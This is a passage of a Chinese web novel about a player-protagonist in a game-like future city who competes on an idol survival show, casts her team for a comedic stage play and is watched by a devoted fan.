像大佬boss那样只生了三个，已经算比较少的了：D
“娱乐产业到底怎么和高科技相提并论啊？”朝晖不禁又嘀咕起来，“我说呢，怪不得是女皇，想必这项技术成熟之后，女性掌权者的数量能提升不少吧。”
“……”
姜瑶看了她一眼，没说话。
洛川连续三任女市长出现、近半数高新技术龙头产业掌权人逐渐演化为女性，都是出现在该技术公布之后。
“你说‘之一’又是什么意思，难不成这无冕之王是不值钱的大白菜，还不止一个？”朝晖又问。
姜瑶：“……这是因为，白鸽电子其实只是近数十年的新秀。”
“要说龙头老大，还得是生物工程领域的【红星科技】……”
她无视满头大汗、假装自己啥也没听见的司机，索性放开了给朝晖解释清楚，“那可真的是祖传企业了，她们家传了至少两百年，背景深不可测，洛川是她们的大本营。”
“刚才提到的人造子宫技术，就是出自于红星科技。除此之外，她们还拥有多项生物方面的顶级专利技术，在生物医药方面颇有建树。”
“不过，进行过一两次技术突破后，生物技术的发展便陷入平稳。而电子产业沉寂许久，再次回归高速发展期，毕竟最前沿的人工智能技术也要依托于它。”
朝晖点头：“很合理，不过红星科技这名字，听起来真是根正苗红啊，是不是有什么深厚的背景？”
姜瑶道：“可以这么说吧，因为红星科技的背后掌控者是‘红皇后’。”
“她才是真正的女皇，她的母亲是女皇，祖母也是……后来为了区分她与白皇后，才将她们分为了两个名字。”
朝晖表示理解。
就像现实中，屁民们也会戏称某大企业家的儿子“xx太子”，女儿“xx公主”一样。
就是这红皇后白皇后，听着感觉有点中二。
她打开手机搜索，发现红星科技好像确实很厉害，出来一大串密密麻麻的相关企业，都隶属于同一个集团。
且这些公开的企业信息内，好多人都姓姬。
“姬家？”
“嗯。”
“那红皇后叫姬什么啊？”
姜瑶沉默：“我不知道。”
“？”
朝晖震惊，“2084年了，你不知道？”
姜瑶苦笑：“这是保密信息，就算在安全局内，也只有局长知道。怕你忘了，我是副局长。”
玩家表示很震撼，不禁询问系统：“是你们的游戏文案还没写好吗？这算不算一个bug啊，可以提交不？”
系统：……
姜瑶：“……你别想这个了，总之红星科技还是比较低调的，主营范围是高精尖技术，他们的民用产业在别的公司，跟白鸽电子不一样。”
朝晖却摇摇头：“没，我就是在想，本来以为云端能源家里有矿，已经很有钱了，可这个红星科技听起来这么牛，祖祖辈辈的财富啊，那该多有钱啊——”
姜瑶：……
48. 寰天娱乐（4）
姜瑶直接把朝晖送回了节目组，不忘对伊尔莎仔细叮嘱。
面对混血儿略带不安的眼神，这位年富力强、身居高位的副局长，却是露出了复杂的神情。
“不用担心，没什么事了。”她道，“你把她的衣服拿去收拾好，平时多看着她点，还是那句话，有什么事记得给我打电话。”
“没事了？”伊尔莎瞪大眼睛，难掩惊讶。
朝晖可是杀人了啊……
她还以为，至少也得去局子里调查两天吧？
“嗯，我先回去了。”姜瑶没有多说，掉头离开。
她美好的双休周末，就在朝晖的搅和下，被霍霍得一点儿不剩。
从周六早上忙到周日深夜，全在忙她的事了！
最关键的是，事情发展到了这样的地步，朝晖竟然还要回来参加综艺！
而那位“白皇后”竟然允许了！！
白皇后的原话是：“她想去，就让她去吧，反正也就半年而已。”
姚秘书在旁边问：“要跟节目组打个招呼吗？”
“不必了。”殷一道。
等朝晖真惹出什么事，再来求她，岂不更好？
说实话，单以朝晖表现出的异能，强是强，却也没强到殷一愿意亲自见她的份上。
白皇后手下的强力异能者，数量可不少。
真实原因是，当有人去仔细观察朝晖后，很容易就能够发现她身上一些不协调的地方。
不吃饭、不休息、不疲惫，这都是最浅显的了；她的话语中透露的信息也绝不可忽视。
她有时明明在正常地讲话，却忽然被无缝切换成奇怪的呓语。
她对任何事情都不害怕，包括死亡。
她总是时不时提到“任务”，好像这对她来说很重要似的。
她此前去“抢”矿场的事，也都被调查得水落石出，能变成污染物的样子，却不滥杀无辜……
殷一有一整个忠诚的精英团队，来对朝晖做人物分析，她看见的东西，远比想象中要多。
朝晖真的很有意思，她不可控，却又非常可控——
因为不管做过什么，她都一定要回去，把她那个破综艺录完！
白皇后见过朝晖之后，更加确信了自己的想法，所以她选择放任朝晖，看看事情会如何发展。
洛川在“红皇后”的控制之下，已经平稳地度过了这么多年。然而看似平静的水面之下，早已暗流涌动。
把这样一个炸弹丢进去，不是挺有意思的吗？
*
对于这一切，朝晖都毫不知情。
她现在的目标，重新变成了刷技能、做任务、升级，以获得更多天赋点，并增加【创作】的技能等级，让自己可以偷到效果更好的异能。
至于偷来的异能有什么用？
呵，游戏世界如此危险，动不动就跳出一些霸凌者、黑心公司，甚至厉害如光头女的boss。
在外闯荡，40点力量已经不足够保护她了！
“我要刷到100点！！那样的话，配合狂战士buff和其他异能，我应该就无敌了吧？”玩家美滋滋地畅想着未来。
“……”
她此刻正在练习室，开始新一轮刷技能。裴韫坐在小角落里，翻着手机。
俗话说，一颗老鼠屎坏了一锅汤，裴韫现在已经敢公然玩手机了，节目组有理由相信，这都是被朝晖带坏的！
#云端能源##杨帆丑闻#等词条，均高挂热搜。
杨勇过往所为，不乏在法律边缘游走的行为，被翻旧账之后，被判五年刑期。
相较于他的身份，这已经是个不小的数字。
杨茉曾经霸凌过的人，数量不少。在云端能源对手的推动下，她们选择站出来揭发她的罪行。
她们的自述、少量留存的证据被发布到网上，激起民愤，臭鸡蛋和烂菜叶子又在云端能源门口被堆得老高。
不过，杨茉毕竟今年才17岁，而这些霸凌，也都没有造成法律意义上的严重后果，证据难寻。
所以最终，杨茉被无罪释放。
但父亲入狱，哥哥死亡，没有了给她底气的人，现在的她，再也不是以前那个任性妄为的大小姐了。
裴韫不需要再做什么。没有人会关注她不堪的过往，她可以专注于练习、参加节目。
泪水在眼眶中打转，却被她坚强地忍住，没有落下一滴。
朝晖……
朝晖真的那么厉害吗？
杀了人，然后无事发生一般全身而退？
裴韫想起公司前辈曾说过的话：她们这样漂亮年轻、没有背景的人，要想在这个圈子里混下去，是非常难的。
有时候，看似“自愿”的选择，实则却是有着各种各样背后之手的推动。
裴韫不是洛川人，她出身在一座更偏远的小城市，从小就被夸漂亮、懂事。
10岁那年，父母听说洛川的娱乐公司竟然看中了她，兴高采烈地把她签了出去。
从此，她背井离乡，再也没有回去过。
父母知道她在公司可以免费住宿、吃饭，除了每年问候她一句，就不再多管。
进入公司，她想着努力练□□有一天能被看到；然而现实却告诉她，比她美丽、比她优秀的人那么多，她凭什么出头？
一般的公司每两三年才会推出一个女团，有时候更久，珍贵的出道位被抢破了头。
好在花田娱乐是一家小公司，时也运也，她得到了参加节目的机会。
最重要的是，她遇到了朝晖。
“也没说抱大腿非得找个男的吧？”裴韫默默嘀咕了一句。
朝晖说过好几次，以后出道了，要让“猫猫室友”当队友。
看似随心之语，谁知道是不是真的呢？
若是朝晖自己组一个团出道，那会是什么样的场景？
别说观众了，她自己这么一想，都觉得期待极了！
裴韫不知道未来会如何，也不打算去问朝晖，她决定更加努力地练习，让自己的能力变得更强。
如果真有出道的一天，如果她真的能出道，那么她绝对不会辜负朝晖的期望……
“哆——莱——咪——”
朝晖依旧在练习唱歌。
裴韫发现，她练习的方法非常科学，虽然是基础练习，但效果很好，于是索性跟着朝晖练起来。
她是舞担，声乐是她的弱项，所以更需好好练习。
玩家只看了她一眼，就不在意地扭过头。
——练习生npc在练习，如此合理之事，有什么问题吗？
倒不是她不想练【创作】，而是……
“仔细一算才发现，这boss打完，就拿了张卡牌。我仅剩的能源储备都消耗完了，一点儿进账也没有！”朝晖觉得很郁闷。
巧妇难为无米之炊，她想创作，没有能源啊！
当时在boss战地点，她只想着逃生，忘记薅战利品了，现在想想，真是
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追悔莫及。
系统：“您不用着急，这些以后都会有的……”
都抱上白皇后的大腿了，玩家还在纠结这种事，怎么说呢……
倒也很符合玩家的性格就是了：）
把精力全部用完后，朝晖就径自离开练习室。
或许是尝试了不少好吃的，她忽然有些馋了，于是打算再去餐厅碰碰运气。
来到这儿的头一天，她听说包吃住的时候，就兴致勃勃地去过食堂。
然后，她飞快地被那里的食物吓跑了！
食物的选择非常贫乏，只有全麦面包、水果、水煮鸡胸肉、蔬菜沙拉这么几种。
连酱料的种类都寥寥无几，全是低卡低糖的口味。
工作人员还大言不惭地说：“我们节目组是花了大成本的，都使用真材实料的新鲜食材！”
对此，朝晖表示：“我是要出道，不是要出家，吃不来谢谢！”
没想到过了这么久，食堂的菜谱是一点儿也不带变的啊？
见她嫌弃的眼神，默默跟着她的裴韫自觉解释道：“这些食材都不便宜，比营养液贵多了，节目组没说谎。”
“我们普通人，吃这样的食物有助于保持身材。”
“这不就是健身餐吗，老吃这些也很痛苦吧？”朝晖问。
来都来了，npc似乎不能不吃饭，朝晖索性就呆在一旁，示意裴韫去打包。
裴韫受宠若惊，这里又是自助餐，她就取了盒子，边夹东西边说道：“那也没办法，青春期的女孩本就容易胖，又要保持体型，就算吃这些，饭量也不能太大。”
“节目组这样算是半强迫地给我们统一菜谱，管不住嘴的人也能减下来，这对节目是有好处的。”
吃青春饭的也不容易啊。
这帮十六七岁的孩子天天这么吃，有时候压根不吃，以后身体能好吗？
呼，还好她只是玩家。
让她996就算了，不让她吃好吃的，那可万万不行！
朝晖不禁道：“要是成名了是不是就能放松点？长胖点也没关系，粉丝会溺爱。”
“理论上，是这样没错，不过比较有事业心的前辈都会好好管理自己的。”裴韫道，“比如说pd……呃，余烬前辈，就是业内著名的一位自我管理极强的人。”
“他出道十年了，从未放松过自己，严格控制饮食、锻炼，就是为了让自己的身材和脸都保持在最佳状态。”
这一点朝晖很赞同，因为她见过不少24岁就发面/脸崩的男艺人。
光看脸，余烬实在是没有什么可挑剔的地方。
说曹操曹操到，余烬忽然闪身出现在食堂门口。
这会儿是刚过晚饭饭点，由于大量不吃晚饭练习生的存在，食堂人也不多，见到他都纷纷礼貌地打招呼。
余烬点点头，目标直指那个女人——
练习生们：不知为何，好像已经习惯了呢。
朝晖和余烬的绯闻在节目组内人尽皆知，但这么多天过来，大家逐渐都不再相信。
有绯闻的人，再掩盖自己，互相之间都能看出点苗头的。
温度不同的眼神，变化的语气，不自觉的肢体动作……
而他俩？
算了吧！
练习生内现在广为流传的另一种说法，是朝晖有别的后台，这个后台又辗转拜托余烬照顾她，他不得不从。
余烬满脸写着不情愿：“朝晖选手，能过来一下吗？有事找你。”
49. 寰天娱乐（5）
年轻帅气的顶流单独叫小练习生出来说话，放在乙游剧情里，本来是一件让人少女心砰砰跳的事情。
然而朝晖大摇大摆地出门，同样不情不愿道：“什么事啊？”
余烬其实也没什么大事，他是被节目组抓壮丁，来“管管朝晖”的。
总导演总策划两个大肚子秃头男，抓住他不停地哭诉：“马上就要录第一次小剧场了，朝晖必须要出场，还要和你搭戏，你可得多跟她沟通沟通！”
节目组进行到本周，目前投票的前三名暂时趋于稳定。
诸华清、盛绫儿、朝晖，且后两者的票数相差不多。
这还是节目组小小动了一点手脚的后果了！
在下一次公演舞台之前，都不会有太大变动。
她们三个，也就是本周末将会播出的主题曲舞台的C位，以及左右护法。
但是，在初舞台之后、第一次公演之前，节目会播出两期剧场内容，选手们表演“话剧”、共同聚会，算是个自我展示的小机会。
根据节目预定的安排，话剧表演者有限，前三名是必须要参加的，各自领衔主演一个剧场。
出于各种目的，余烬就被安排到朝晖这一组，他们俩搭档演出这档剧目的主要角色。
当然了，作为pd的余烬算是友情参演，戏份不多，更多的表现机会被让给选手。
“这样啊。”朝晖说，“既然是固定内容，我肯定会参加的。什么时候排练？”
她倒不是真这么听话，而是综艺的重要内容，系统都一定会给她发任务。
主线任务嘛，不得不做，不然就卡关，玩家现在做顺手了，倒也习惯。
“明天就要排练了，等会儿吃完饭去大厅集合，录制一部分内容，同时统一通知给所有人。”余烬说。
他提前过来，是因为节目组害怕朝晖待会儿不配合，在那发癫，影响录制。
结果朝晖……意外地挺听话？
玩家翻了翻任务，果然看见了晚饭后录制的内容，点头道：“演戏？等等……系统，我好像没有这个技能啊，我该怎么演？”
系统：“请玩家自行发挥，完成主线任务内容。”
朝晖心头不禁涌上了一股不好的预感：“不会要我自己演吧？”
*
“恭喜朝晖选手，你抽到了剧本《霹雳雨》！现在请你挑选你的队友共同参与演出，你们有一天的时间进行排练，pd余烬将会友情参演……”
朝晖：……
余烬：……
其他人：……
《霹雳雨》改编自著名话剧。
故事讲述的是一个孤苦女佣小凤，她在大户人家做事，同时被这户人家的两个少爷追求。
大少爷与他的继母小繁有染，二少爷单纯可爱，同时女主的哥哥小海也很注意保护她，这三个男人围着小凤，但小凤心系大少爷，听起来略显玛丽苏。
结果剧情揭开，原来小凤的老妈和这户人家的老爷以前好过，生了俩孩子，分别就是这个大少爷和小海。
所以大少爷和小凤，实则乃是同母的亲兄妹！
由于受不了这惊天打击，加上老爷的诸多罪行被揭发，最终这帮主角就疯的疯死的死，在一个霹雳雨交加的夜晚，走向悲剧。
总而言之，这幕话剧是悲情且狗血的，但节目组改编掉了它悲剧的部分，只让选手们展现最后那段“雨中剖白”。
加上选手们不成熟的表演，最终效果应该是狗血与沙雕齐聚，主打搞笑风。
抽剧本是随机的，总策划胆战心惊的同时，又不禁有几分期待，小心翼翼地给余烬递了个眼色。
余烬硬着头皮道：“朝晖，你要出演小凤这个角色，然后挑选五个选手作为你的队友……也请想要演出的选手们积极举手，不要放弃机会。”
朝晖指着自己，难以置信道：“我演小凤？认真的吗？”
《霹雳雨》这个剧本的主要角色有七名，分别是小凤，大少爷，二少爷，小繁，小海，老爷，小凤的老妈。
余烬将会客串老爷这个角色，其他人都将由选手担任。
一时间，选手们都尬住了。
刚才诸华清、盛绫儿选队友的时候，但凡是想表现自己的人，都努力地举手。
现在嘛……
跟朝晖搭戏的话，怎么说呢……
裴韫立刻举手：“我想演小繁！”
小繁在几个角色中戏份不算多，但裴韫本来也没什么演戏经验啊！
这是个漂亮忧郁的女性角色，她的情绪其实会有很多细腻之处需要表现，性格也会有所变化。
但节目组这个小剧场又不长，性质也是狗血搞怪居多，这种比较花瓶的角色就很适合她。
朝晖还沉浸在“小凤”的冲击中，迷迷糊糊就点了头，把猫猫室友选上来。
裴韫微微一笑，登登登跑上去，站在朝晖旁边。
诶？
其他选手面面相觑。
朝晖她，好像没怎么发疯啊，这就开始选人了？
选手们忽然发觉，朝晖似乎没什么朋友。
除了裴韫算是半个“关系户”、肯定能入选之外，其他四个位置，入选的几率恐怕不小啊！
诸华清和盛绫儿二人，也是各选五个队友。
但首先，她们会把“寰天五人组”剩下那三个选进去，其次再选一些跟她们关系好的、人气高的，最终名单也比较固定。
后排选手们，几乎没有被选中的机会。
“有关系”“有实力”的人总是更有机会，这是很难改变的事实。
对于诸华清和盛绫儿来说，若不选她们的朋友而去选别人，对于她们也不一定是件好事。
但朝晖的话……
她们正在犹豫时，却有另一位勇士跳将而出，身先士卒。
“我我我，我想演老妈！”钱朵朵大声喊道。
她也是精挑细选了这么一个角色。
老妈是小凤的妈妈，戏份中等，和余烬出演的“老爷”、朝晖出演的“小凤”对手戏都不少。
演得好的话，能蹭不少镜头呢！
这个角色是个长辈，劳累的中年女性，情绪变化又比较多，其实不太好演。
但钱朵朵长着一张圆脸，虽不是大美女，却看着很舒服，正适合演这个角色。
朝晖见又一个人跳出来，对方还有点面熟，就道：“那你上来吧！”
刷拉拉地一下，台下的所有人都举起手来。
自荐的声音此起彼伏：“我想演二少爷！”“我想演大少爷！”“我可以演小海！”
朝晖：……
等等，她不会真的要自己去演这个话剧吧？
就在此时，她忽然收到系统提示，自己的“魅力”属性增加了一点。
“？”
系统喜上眉梢：“这些次要属性是有概率自己增加的，看来您的魅力得到了观众们、选手们共同的认证呀！”
朝晖：“……你确定她们举手是因为我的魅力吗？”
而且，增加这种毫无用处的属性到底有什么意义啊！！
她望着台下黑压压一片的人，发现……自己一个也不认识。
唯一称得上认识的小红，又是个不能选的。
她顿时将幽怨的目光投向小红。
盛绫儿也在台上，就站在她旁边，被她这一眼看得寒毛直竖：“……怎么了？”
“没事。”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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朝晖看着任务界面的【完成演员选择：2/5】字样，郁闷道：“那谁，卷毛狗，鸽子，还有前面那位……大金毛，你们仨吧。”
其他人：“……”
这，这三人是谁啊？
还是裴韫会看眼色，一下子就领会到了朝晖的意图，忙开始中译中：“就是周小满，徐燕妮，慕青三位选手。”
周小满就是那位头发卷卷的、住403的小透明。
她只是尝试着举了手，没想到竟然被选上，笑得一脸阳光灿烂地跑上来。
被称作“鸽子”的徐燕妮不敢置信地指着自己：“……可我没举手啊？”
她本来就不打算当偶像，而是要走实力歌手的路线，来参加节目只是攒攒经验镀个金，人也比较佛系。
朝晖理直气壮道：“你长得很好记啊，就是你了，快点。”
徐燕妮：……
在导演拼命暗示下，她只好调整自己的表情走上台。
慕青，则是一个座位比较靠前、个头比较高的女生。
她的特点是一头炸毛的长头发，染成了显眼的金色，和余烬的发型有点异曲同工之妙。
朝晖再找不出一个眼熟的了，索性就选了她。
聪明人马上就能发现朝晖的选人逻辑。
先选认识的，再选眼熟的，最后选显眼的。
毕竟，在她看来，npc们路人脸那么多，肯定要找能记住的来选啊。
顿时，选手们的心态就产生了那么点变化。
和朝晖搭伙听起来有点吓人，可是镜头量……那可是实打实的好处啊！
后期，公演舞台选歌曲、选队友的逻辑，基本都是位次高者先选……
《霹雳雨》小组就这么集结完毕，于练习室中齐聚一堂。
“你们……分别演什么角色啊？”余烬拿着“老爷”的剧本，坐在椅子上。
老爷在改编后的剧本中戏份不多，但为了他的偶像包袱，他会尽力去饰演这个客串角色。
至于其他人么……
他真的不想管了！
众人顿时齐齐看向朝晖，然后玩家拿了块瑜伽垫往地上一躺：“我精力用完了，先睡会儿，你们随意吧。”
下一秒，她已经闭上眼睛安然入睡。不到预定的时间，天打雷劈都醒不过来。
其他人：……
裴韫一副习以为常的模样：“没关系，她不会醒的，不用放低声音……”
她以前也会在朝晖不分时间入睡的时候小心翼翼，直到某次一个不慎，把东西掉在地上，发出惊天巨响。
那时的她被吓出一身冷汗，生怕朝晖被吵醒后把她捶死。
结果朝晖一点儿动静都没有，睡得四平八稳。
钱朵朵、周小满、慕青三人互相看了一眼，顿时就把目光齐齐投向裴韫。
钱朵朵极有眼色道：“这样吧，你跟朝晖关系比较好，也摸得清她的脾气，不如就由你来暂时担任我们的组长吧？”
这个“暂时”二字，也是防止朝晖醒来后自己要当组长，那她们当然也不得不从了。
周小满和慕青都是排名比较靠后的小透明，纷纷点头。
裴韫：“……啊？”
她？当组长？
裴韫还没有担任过这么重要的职责，一下子就不知所措起来。
这个小小的六人组女练习生之间，已经可以初步窥见社会的影子。
余烬知道，在这个小组里，朝晖是绝对的中心，这和她的身份、气质、性格都脱不开关系。
当她不管事的时候，裴韫就是她的话事人，也是唯一一个能服众的人选。
于是他拍板道：“你就先当着吧，就当锻炼一下自己。”
50. 寰天娱乐（6）
众望所归之下，裴韫也只好道：“要不……我就当副组长？组长还是朝晖来吧！”
也行…？
总之，大家只需要一个在朝晖醒来后跟她对接的背锅侠（？）。
毕竟，谁敢得罪朝晖啊？
至少在这个节目组里，没有。
组长定下来之后，剩下的事情就好办许多，首先就要决定各自的角色。
裴韫演小繁，也就是老爷的妻子、少爷们的继母；钱朵朵演小凤的妈妈，这是经由朝晖点头，定下来的。
剩下三个角色也巧，都是男角色，跟女主小凤之间会有不少狗血的“修罗场”剧情。
其实，反串角色演好了很能吸粉，而且三个角色戏份都不少，选哪一个都能蹭镜头。
余烬跑到练习室另一边去，看他自己的剧本了，把空间留给女孩子们。
裴韫左顾右盼，试探着道：“大家有自己心仪的角色吗？”
慕青个头贼高，身材像模特，跳舞能力还行，其他方面差一点，也没什么镜头、故事线，所以人气很一般。
她率先道：“要不……我演小海？我感觉我的形象也比较适合。”
小海是小凤的哥哥，一个做体力活的角色，慕青觉得自己人高马大的正符合角色定位。
不过，三个男角色中，小海的戏份最少。
周小满和徐燕妮一听，都吓了一跳，手摆得像电风扇：“不不不，姐妹，我看你适合演大少爷啊！！跟朝晖正好是男女主角，有cp感！！”
她们俩一个凑数的，一个被强行拉过来，混混配角还行，这主角，实在是演不来啊！
徐燕妮还机灵道：“我看，我更适合演小海，小海是小凤的哥哥，不需要跟她有cp感；你们俩都比我高，去演男主正合适！”
慕青挠挠头，觉得她说的很有道理。
俩少爷都跟小凤有感情戏，徐燕妮个子才一米六出头，朝晖有一米七二，她俩站一块能合适吗？
周小满一听，倘若这样发展下去，最后要她去演二少爷就完蛋了！
她顿时满头大汗，急中生智道：“这，那我看，不如让裴韫演二少爷，慕青演大少爷，这样的话你们站在一块也比较和谐啊！”
钱朵朵闻言一惊，不禁庆幸自己个头不算高。
她们六人中，慕青是最高的，应该有一米七八；裴韫和朝晖差不多，一米七出头；周小满大概一米六五，她稍次一些，徐燕妮最矮。
莫名被拉下水的裴韫：“？！”
裴韫本来就有点社恐，尤其在人多的地方，有时候都会紧张得说不出话来。
让她去演个反串角色，还是戏份不少的主角，这不是在害她吗！
这时候，也顾不得别的了，裴韫的脑子飞快转动，提出自己的意见：“这个，剧本它本来也是搞笑风格，身高的不和谐，有时候反而会增加喜剧效果呀！”
！
有道理啊！
众人又是一惊，尤其以徐燕妮表情最为惊恐。
大家都是十多岁的女孩子，话头一打开，消除了陌生感，叽叽喳喳地就开始说个不停。
辩论内容，大约是“有cp感”重要还是“搞笑反差”重要。
小海、小繁两个角色被抢破了头，戏份最多的俩少爷无人问津。
钱朵朵被公认为很适合老妈，所以处于安全的观战席，在两边疯狂点火，一会儿赞同这个，一会儿支持那个。
旁边的余烬：……
别人都是争戏份多的角色，你们搁这抢着要小配角，什么人呐！
不过，这段争论的内容倒是蛮有意思的。
练习室内一直在录像，余烬看了一眼摄像头的位置。
经验告诉他，哪怕朝晖公然睡觉（？），这段应该也会被剪进正片。
*
朝晖在无数次读档中经历的风风雨雨，观众们丝毫不知。
云端能源的新闻也没有牵扯到节目，只有有心人才会察觉。
朝晖的新晋粉丝林月此刻正在蜜月期，对自家女儿是哪看哪好，在辛苦繁忙的工作当中不忘摸鱼，关注朝晖相关的新闻。
看到云端能源、杨家人，她一下子就想到了上次的杨茉，慌忙点进去观察起来。
这毕竟是社会新闻，关注度比选秀节目高得多，且主角是杨勇杨帆，杨茉只是个添头。
提到朝晖的有那么零星两三个，但数量不多。
林月不禁松了口气。
然而很快，她便品出了点不一样的地方。
首先，当初朝晖打人，官方给出的解释是：她看到杨茉在欺负人，路见不平拔刀相助。
后面的录像也能证明此事。
当然，主人公裴韫的脸被马赛克了，身份没有暴露。
而#云端能源#词条之后，#杨茉霸凌#占据了不低的位置，有许多受害者发声控诉。
“说明杨茉是在节目组霸凌了选手吧，朝晖反击这件事肯定是真的。”林月想。
朝晖一开始被曝出黑料后，节目组迅速给她澄清了；上周的节目内容，虽然能看出朝晖的性格比较混不吝（？），但她的硬实力还是得到了大众的普遍认可。
现在杨茉的家庭又出了事……
这是巧合吗？
她又点进“星光训练营”的讨论话题，果然很多秀粉正在吃云端能源的瓜。
“我有一个大胆的假设，这个云端能源的杨家人，会不会是由于得罪了zh才出了事？”有人大胆猜测，“毕竟这种大公司或多或少都不咋干净，但怎么就这么巧，他们忽然出事了呢？”
“zh”就是朝晖的缩写，她们讨论时不带名字，主要是避免被搜索到，引起麻烦。
这倒不是空穴来风，讨论热度高了，若遇上小心眼的明星，告一个诽谤、举报封号都是家常便饭。
下面评论都表示：“我去？”“好像很有可能啊。”
也有人猜测：“zh不是刚签寰天娱乐吗，应该是他们在做公关吧。”
林月忍不住回复：“但寰天娱乐怎么可能去搞云端能源？大家不要想太多了，寰天应该只是觉得zh有潜力、能火才签她的。这件事也应该是个巧合。”
众人各执一词，理性讨论，总体气氛倒是比较和谐，以吃瓜为主。
毕竟没有实质证据，最后也就不了了之。
林月嘴上说“巧合”，其实这只是一种妈妈心态，担心别人瞎讨论给朝晖引来麻烦。
不知为何，她有种冥冥之中的预感，就是朝晖可能真的很有后台……
她看起来，并不是多么嚣张跋扈，但莫名地，就给人很有底气的感觉。
天不怕地不怕。
抱着这样喜忧参半的心情，林月点开最新一期《星光训练营》。
节目组不给大家搞虚的，开头就是主题曲《星光少女勇敢飞》的mv。
一大票漂亮妹子站在灯光闪烁的舞台上，整齐划一地开始跳舞，每一个都笑容甜美，像一排精致罗列着的手办娃娃。
“啊啊啊啊是左护法！！”林月一下子就
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看到了朝晖。
朝晖其实没怎么笑，她录主题曲mv时全程处于“啊快点结束吧”的摆烂状态，但——
谁让她长得好呢？
有的人不笑的时候，看起来会有点凶，其实这样能展现的风格会比较多样。
但朝晖完全不是，她有一双桃花眼，嘴角的弧度也是略微向上的，加上她没有容易显疲态的黑眼圈、眼袋、法令纹等，哪怕没什么表情，看起来也很亲切（？）阳光。
就，好可爱呀！！
林月把朝晖短短一段个人镜头回放看了十遍。
你别说，其实朝晖和诸、盛站在一起，对眼睛特别好。
她们仨还是同公司，寰天赢麻了。
林月欣赏完美颜盛世，就继续往后看。
弹幕和她想法一样，都在发“前三名都好看的嘞”“我的朝朝宝贝怎么那么美！！”
还有人说“朝晖是第二还是第三？感觉不应该啊，她的人气应该接近第一了吧。”
前期的投票并不是真金白银票，只要实名注册的观众都可以投，每个账号可以pick9人。
从网络热度来看，朝晖似乎是最高的，且诸、盛两人捆绑营销，人气会分流。
第一次“主题曲直拍”投票通道已经关闭，等会儿节目里才会公布排名。
“应该是诸华清她们路人缘好一点吧。”有人分析。
这倒是。
朝晖毕竟被卷入过黑料，路人投票看眼缘，就不会给她投。
主题曲mv放完后，再铺垫一下，果然就开始念排名了。
选手们也会通过这个排名重新分班。
初C是诸华清，第一名应该也是了，没什么意外；第三名则是朝晖，那么第二名应该就是盛绫儿。
排名是按照从后往前的顺序公布的，但朝晖以第三名身份上去的时候，诸华清盛绫儿都还没被念到。
这要是猜不出来，那就有点缺心眼儿了。
“朝晖选手！获得第三名，得到了这么多观众的喜爱，你有什么感想呢？”余烬尽职尽责地当着主持人。
镜头切换到朝晖身上，她刚走到台前，屏幕上显示出她的票数情况。
放大的高清镜头，灯光把她的脸照得明亮，那真是……
太好看了！！！
屏幕上再看不到一句黑朝晖的话，甚至弹幕都变少了。
因为大家都在疯狂截图。
那张美丽得像精灵的脸蛋笑了笑，眼珠子一转，问道：“第三名可以去A班吗？”
“当然啦！”余烬笑道。
镜头看不见的地方，他的手轻轻地捏紧。
总感觉，朝晖下一句不会是什么好话呢；；
好在，有万能的剪辑！
剪掉了什么，观众恐怕是不会知道了，她们只看见镜头一转，朝晖挺胸抬头、自信满满道：“我一定会成为第一名！”
！？
这么嚣张！！
剪辑师很懂观众心理，立刻切到台下选手的reaction，还特地给诸华清、盛绫儿都来了个特写镜头。
选手们：O.O
诸华清：^_^
盛绫儿：=.=
汗毛都竖起来的林月：？
为什么，所有选手看起来都这么淡定啊……？
选手们内心：比起当年她知道自己被分到B班，在台上跟导师舌战半天的场景，现在这不过是小意思罢了……
诸华清内心：呼，还好她挺有礼貌，没发疯就好！
51. 寰天娱乐（7）
第二第一倒也没什么意外，果然就是寰天的“红白玫瑰”二人组。
轮到诸华清讲话时，余烬在导演的暗示下开始点火：“听到刚才朝晖的发言，华清有没有什么想说的？”
诸华清维持着完美的微笑：“朝晖是一名优秀的选手，我很期待。”
弹幕：！！
诸华清和朝晖的粉丝立刻就吵翻了天。
一方觉得朝晖太嚣张、诸华清太大气了！
另一方觉得朝晖很有志气很直爽，不像诸华清那么假惺惺的。
其中，林月是比较理智的粉丝。
她心里也觉得朝晖有点嚣张，但，这，总不能拆自家台吧……
索性关掉弹幕继续看。
后续内容，就是放出了一些选手们刻苦训练的部分。
此前，节目组曾被数量不少的朝晖粉丝抱怨“怎么没有她在练习室的镜头”，有苦说不出。好在后来，朝晖在系统的迫害下，留下了一些没玩手机的素材，节目组就赶忙把它们剪进了这期节目。
以监控摄像的视角，朝晖出现在练习室内。
她对着镜子，一遍又一遍地跳着主题曲，每遍都动作完整、毫不划水，且边跳边唱，不知疲倦。
“辛苦汗水，只为舞台星光闪烁！pick me pick me，星光少女勇往直前！”
镜头切换至窗外景象，日升月落，少女却依旧留在练习室里。
走廊上有不少练习生路过，话筒录下她们的窃窃私语：
“朝晖还在练啊？”
“嗯，她每天只睡几个小时。”
“唉，那我也再练一会儿，十二点再回去。”
另一间练习室内，不少练习生齐聚于此，互相帮助。
有人说：“人有点多，我跳得又不好，不敢在大家面前练……”
另一人鼓励她：“总不能去打扰朝晖吧？加油，以后还要在更多人面前表演呢，就当锻炼自己！”
镜头又切回了朝晖的练习室，这是所有练习室中相对最小的一间，里面只有朝晖和裴韫两个人。
裴韫坐在地上，背靠着墙，汗水滴落，她显然已经很疲惫了。
她撩起裤腿，揉了揉膝盖；原来，由于练舞，她的膝盖上布满青紫。
但看见朝晖仍不知疲倦地练习着，唱跳都那么优秀，裴韫咬咬牙，站起身，跟着朝晖一同练习起来。
镜头录下两人的背影，整齐划一地跳着主题曲。裴韫唱得不算好，但仍然大声唱着，模仿朝晖，调整自己的气息、唱法……
悠扬的音乐响起，画面慢慢变黑，浮现一行字——
“她是节目中公认最努力的选手，在她的影响下，许多人都开始向她学习。”
这段剪辑并不长，大约就一分多种，画面一闪，又开始放其他选手练习的场景。
总之，主题就是“我们的选手特别努力特别正能量，快来支持她们呀～～”
林月已经被震撼到了。
这是真的吗？
眼睛有点发酸……
怪不得之前没什么练习的镜头。别人在练习室有说有笑、打打闹闹，自然有看点能被剪进去。
朝晖就一直搁那儿闷头练，话也不说，有啥好看的？
她一个人单独在练习室里，只有裴韫跟着她，会不会是被孤立了？
毕竟，有时候，太努力的人人缘反而不好。
她每天就睡几个小时，还那么瘦，体力能跟上吗？
练习生的日子都很苦，朝晖表现得那么阳光，背后的辛酸一定只有她自己才明白吧……
这节目，顿时也看不下去了。
